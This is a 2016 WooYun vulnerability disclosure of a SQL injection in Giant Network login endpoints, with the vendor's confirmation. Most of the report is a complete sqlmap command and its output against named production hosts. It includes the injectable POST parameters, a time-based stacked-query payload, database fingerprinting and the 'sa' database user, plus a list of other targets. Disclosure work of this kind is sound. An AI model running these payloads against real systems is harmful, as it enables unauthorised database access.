当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0188060

漏洞标题:巨人网络通用SQL注入一枚

相关厂商:巨人网络

漏洞作者: 路人甲

提交时间:2016-03-23 12:37

修复时间:2016-05-08 10:34

公开时间:2016-05-08 10:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-23: 细节已通知厂商并且等待厂商处理中
2016-03-24: 厂商已经确认,细节仅向厂商公开
2016-04-03: 细节向核心白帽子及相关领域专家公开
2016-04-13: 细节向普通白帽子公开
2016-04-23: 细节向实习白帽子公开
2016-05-08: 细节向公众公开

简要描述:

RT

详细说明:

C:\Python27\sqlmap>sqlmap.py -u "http://download.ztgame.com:8088/j_acegi_securit
y_check" --data "Submit=%E7%A1%AE%E5%AE%9A&isChecked=0&targeturl=CasterPy&RtxRec
eivers=null&j_username=CasterPy*&j_password=CasterPy" --current-user
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-201512120967}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:30:05
custom injection marking character ('*') found in option '--data'. Do you want t
o process it? [Y/n/q] y
[12:30:06] [INFO] resuming back-end DBMS 'microsoft sql server'
[12:30:06] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://download.ztgame.com:8088/vmain/loginamt.jsp
;jsessionid=4AEB0F8C61C985A8A24B1C20CBD40D9A?login_error=UsernameNotFoundExcepti
on'. Do you want to follow? [Y/n] y
redirect is a result of a POST request. Do you want to resend original POST data
to a new location? [Y/n] y
[12:30:08] [INFO] checking if the target is protected by some kind of WAF/IPS/ID
S
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: Submit=%E7%A1%AE%E5%AE%9A&isChecked=0&targeturl=CasterPy&RtxReceive
rs=null&j_username=CasterPy';WAITFOR DELAY '0:0:5'--&j_password=CasterPy
---
[12:30:08] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: Tomcat 5.0, JSP, Servlet 2.5
back-end DBMS: Microsoft SQL Server 2012
[12:30:08] [INFO] fetching current user
[12:30:08] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
[12:31:16] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
[12:31:16] [CRITICAL] connection dropped or unknown HTTP status code received. T
ry to force the HTTP User-Agent header with option '--user-agent' or switch '--r
andom-agent'. sqlmap is going to retry the request(s)
[12:31:27] [INFO] adjusting time delay to 2 seconds due to good response times
sa
current user: 'sa'


其他案例:
http://as.ztgame.com:8088/j_acegi_security_check
http://im.ztgame.com:8088/j_acegi_security_check
http://180.168.126.116:8088/j_acegi_security_check
https://bbc.ztgame.com:8443/j_acegi_security_check
post数据跟以上一样。

漏洞证明:

修复方案:

加个waf,这貌似是个通用程序,你看看有没有补丁之类的。。。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2016-03-24 10:34

厂商回复:

感谢路人甲

最新状态:

暂无